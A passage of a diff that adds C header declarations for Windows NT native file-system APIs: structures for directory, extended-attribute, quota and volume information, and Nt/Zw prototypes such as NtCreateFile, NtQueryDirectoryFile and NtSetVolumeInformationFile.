FILE_STAT_INFORMATION, * PFILE_STAT_INFORMATION; + +// private +typedef struct _FILE_MEMORY_PARTITION_INFORMATION +{ + HANDLE OwnerPartitionHandle; + union + { + struct + { + UCHAR NoCrossPartitionAccess; + UCHAR Spare[3]; + }; + ULONG AllFlags; + } Flags; +} FILE_MEMORY_PARTITION_INFORMATION, * PFILE_MEMORY_PARTITION_INFORMATION; + +// LxFlags +#define LX_FILE_METADATA_HAS_UID 0x1 +#define LX_FILE_METADATA_HAS_GID 0x2 +#define LX_FILE_METADATA_HAS_MODE 0x4 +#define LX_FILE_METADATA_HAS_DEVICE_ID 0x8 +#define LX_FILE_CASE_SENSITIVE_DIR 0x10 + +// private +typedef struct _FILE_STAT_LX_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ACCESS_MASK EffectiveAccess; + ULONG LxFlags; + ULONG LxUid; + ULONG LxGid; + ULONG LxMode; + ULONG LxDeviceIdMajor; + ULONG LxDeviceIdMinor; +} FILE_STAT_LX_INFORMATION, * PFILE_STAT_LX_INFORMATION; + +#define FILE_CS_FLAG_CASE_SENSITIVE_DIR 0x00000001 + +// private +typedef struct _FILE_CASE_SENSITIVE_INFORMATION +{ + ULONG Flags; +} FILE_CASE_SENSITIVE_INFORMATION, * PFILE_CASE_SENSITIVE_INFORMATION; + +// private +typedef enum _FILE_KNOWN_FOLDER_TYPE +{ + KnownFolderNone, + KnownFolderDesktop, + KnownFolderDocuments, + KnownFolderDownloads, + KnownFolderMusic, + KnownFolderPictures, + KnownFolderVideos, + KnownFolderOther, + KnownFolderMax = 7 +} FILE_KNOWN_FOLDER_TYPE; + +// private +typedef struct _FILE_KNOWN_FOLDER_INFORMATION +{ + FILE_KNOWN_FOLDER_TYPE Type; +} FILE_KNOWN_FOLDER_INFORMATION, * PFILE_KNOWN_FOLDER_INFORMATION; + +// NtQueryDirectoryFile types + +typedef struct _FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, * PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, * PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, * PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, * PFILE_NAMES_INFORMATION; + +typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + LARGE_INTEGER FileId; + GUID LockingTransactionId; + ULONG TxInfoFlags; + WCHAR FileName[1]; +} FILE_ID_GLOBAL_TX_DIR_INFORMATION, * PFILE_ID_GLOBAL_TX_DIR_INFORMATION; + +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_WRITELOCKED 0x00000001 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_TO_TX 0x00000002 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_OUTSIDE_TX 0x00000004 + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; // GUID + union + { + struct + { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, * PFILE_OBJECTID_INFORMATION; + +// NtQueryEaFile/NtSetEaFile types + +typedef struct _FILE_FULL_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; + +// NtQueryQuotaInformationFile/NtSetQuotaInformationFile types + +typedef struct _FILE_GET_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, * PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, * PFILE_QUOTA_INFORMATION; + +typedef enum _FSINFOCLASS +{ + FileFsVolumeInformation = 1, // FILE_FS_VOLUME_INFORMATION + FileFsLabelInformation, // FILE_FS_LABEL_INFORMATION + FileFsSizeInformation, // FILE_FS_SIZE_INFORMATION + FileFsDeviceInformation, // FILE_FS_DEVICE_INFORMATION + FileFsAttributeInformation, // FILE_FS_ATTRIBUTE_INFORMATION + FileFsControlInformation, // FILE_FS_CONTROL_INFORMATION + FileFsFullSizeInformation, // FILE_FS_FULL_SIZE_INFORMATION + FileFsObjectIdInformation, // FILE_FS_OBJECTID_INFORMATION + FileFsDriverPathInformation, // FILE_FS_DRIVER_PATH_INFORMATION + FileFsVolumeFlagsInformation, // FILE_FS_VOLUME_FLAGS_INFORMATION // 10 + FileFsSectorSizeInformation, // FILE_FS_SECTOR_SIZE_INFORMATION // since WIN8 + FileFsDataCopyInformation, // FILE_FS_DATA_COPY_INFORMATION + FileFsMetadataSizeInformation, // FILE_FS_METADATA_SIZE_INFORMATION // since THRESHOLD + FileFsFullSizeInformationEx, // FILE_FS_FULL_SIZE_INFORMATION_EX // since REDSTONE5 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, * PFS_INFORMATION_CLASS; + +// NtQueryVolumeInformation/NtSetVolumeInformation types + +// private +typedef struct _FILE_FS_VOLUME_INFORMATION +{ + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, * PFILE_FS_VOLUME_INFORMATION; + +// private +typedef struct _FILE_FS_LABEL_INFORMATION +{ + ULONG VolumeLabelLength; + WCHAR VolumeLabel[1]; +} FILE_FS_LABEL_INFORMATION, * PFILE_FS_LABEL_INFORMATION; + +// private +typedef struct _FILE_FS_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER AvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_SIZE_INFORMATION, * PFILE_FS_SIZE_INFORMATION; + +// FileSystemControlFlags +#define FILE_VC_QUOTA_NONE 0x00000000 +#define FILE_VC_QUOTA_TRACK 0x00000001 +#define FILE_VC_QUOTA_ENFORCE 0x00000002 +#define FILE_VC_QUOTA_MASK 0x00000003 +#define FILE_VC_CONTENT_INDEX_DISABLED 0x00000008 +#define FILE_VC_LOG_QUOTA_THRESHOLD 0x00000010 +#define FILE_VC_LOG_QUOTA_LIMIT 0x00000020 +#define FILE_VC_LOG_VOLUME_THRESHOLD 0x00000040 +#define FILE_VC_LOG_VOLUME_LIMIT 0x00000080 +#define FILE_VC_QUOTAS_INCOMPLETE 0x00000100 +#define FILE_VC_QUOTAS_REBUILDING 0x00000200 +#define FILE_VC_VALID_MASK 0x000003ff + +// private +typedef struct _FILE_FS_CONTROL_INFORMATION +{ + LARGE_INTEGER FreeSpaceStartFiltering; + LARGE_INTEGER FreeSpaceThreshold; + LARGE_INTEGER FreeSpaceStopFiltering; + LARGE_INTEGER DefaultQuotaThreshold; + LARGE_INTEGER DefaultQuotaLimit; + ULONG FileSystemControlFlags; +} FILE_FS_CONTROL_INFORMATION, * PFILE_FS_CONTROL_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER CallerAvailableAllocationUnits; + LARGE_INTEGER ActualAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION, * PFILE_FS_FULL_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_OBJECTID_INFORMATION +{ + UCHAR ObjectId[16]; + UCHAR ExtendedInfo[48]; +} FILE_FS_OBJECTID_INFORMATION, * PFILE_FS_OBJECTID_INFORMATION; + +// private +typedef struct _FILE_FS_DEVICE_INFORMATION +{ + DEVICE_TYPE DeviceType; + ULONG Characteristics; +} FILE_FS_DEVICE_INFORMATION, * PFILE_FS_DEVICE_INFORMATION; + +// private +typedef struct _FILE_FS_ATTRIBUTE_INFORMATION +{ + ULONG FileSystemAttributes; + LONG MaximumComponentNameLength; + ULONG FileSystemNameLength; + WCHAR FileSystemName[1]; +} FILE_FS_ATTRIBUTE_INFORMATION, * PFILE_FS_ATTRIBUTE_INFORMATION; + +// private +typedef struct _FILE_FS_DRIVER_PATH_INFORMATION +{ + BOOLEAN DriverInPath; + ULONG DriverNameLength; + WCHAR DriverName[1]; +} FILE_FS_DRIVER_PATH_INFORMATION, * PFILE_FS_DRIVER_PATH_INFORMATION; + +// private +typedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION +{ + ULONG Flags; +} FILE_FS_VOLUME_FLAGS_INFORMATION, * PFILE_FS_VOLUME_FLAGS_INFORMATION; + +#define SSINFO_FLAGS_ALIGNED_DEVICE 0x00000001 +#define SSINFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x00000002 + +// If set for Sector and Partition fields, alignment is not known. +#define SSINFO_OFFSET_UNKNOWN 0xffffffff + +typedef struct _FILE_FS_SECTOR_SIZE_INFORMATION +{ + ULONG LogicalBytesPerSector; + ULONG PhysicalBytesPerSectorForAtomicity; + ULONG PhysicalBytesPerSectorForPerformance; + ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity; + ULONG Flags; + ULONG ByteOffsetForSectorAlignment; + ULONG ByteOffsetForPartitionAlignment; +} FILE_FS_SECTOR_SIZE_INFORMATION, * PFILE_FS_SECTOR_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_DATA_COPY_INFORMATION +{ + ULONG NumberOfCopies; +} FILE_FS_DATA_COPY_INFORMATION, * PFILE_FS_DATA_COPY_INFORMATION; + +// private +typedef struct _FILE_FS_METADATA_SIZE_INFORMATION +{ + LARGE_INTEGER TotalMetadataAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_METADATA_SIZE_INFORMATION, * PFILE_FS_METADATA_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION_EX +{ + ULONGLONG ActualTotalAllocationUnits; + ULONGLONG ActualAvailableAllocationUnits; + ULONGLONG ActualPoolUnavailableAllocationUnits; + ULONGLONG CallerTotalAllocationUnits; + ULONGLONG CallerAvailableAllocationUnits; + ULONGLONG CallerPoolUnavailableAllocationUnits; + ULONGLONG UsedAllocationUnits; + ULONGLONG TotalReservedAllocationUnits; + ULONGLONG VolumeStorageReserveAllocationUnits; + ULONGLONG AvailableCommittedAllocationUnits; + ULONGLONG PoolAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION_EX, * PFILE_FS_FULL_SIZE_INFORMATION_EX; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +NTAPI +ZwCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +NTAPI +ZwCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +#define FLUSH_FLAGS_FILE_DATA_ONLY 0x00000001 +#define FLUSH_FLAGS_NO_SYNC 0x00000002 +#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x00000004 // REDSTONE1 + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFileEx ( + _In_ HANDLE FileHandle, + _In_ ULONG Flags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwFlushBuffersFileEx( + _In_ HANDLE FileHandle, + _In_ ULONG FLags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// QueryFlags values for NtQueryDirectoryFileEx +#define FILE_QUERY_RESTART_SCAN 0x00000001 +#define FILE_QUERY_RETURN_SINGLE_ENTRY 0x00000002 +#define FILE_QUERY_INDEX_SPECIFIED 0x00000004 +#define FILE_QUERY_RETURN_ON_DISK_ENTRIES_ONLY 0x00000008 +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_QUERY_NO_CURSOR_UPDATE 0x00000010 +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, // Valid flags are in SL_QUERY_DIRECTORY_MASK + _In_opt_ PUNICODE_STRING FileName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, + _In_opt_ PUNICODE_STRING FileName +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_reads_bytes_opt_((8 + (4 * ((SID*)StartSid)->SubAuthorityCount))) // SeLengthSid() + PSID StartSid, + _In_ BOOLEAN RestartScan +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) 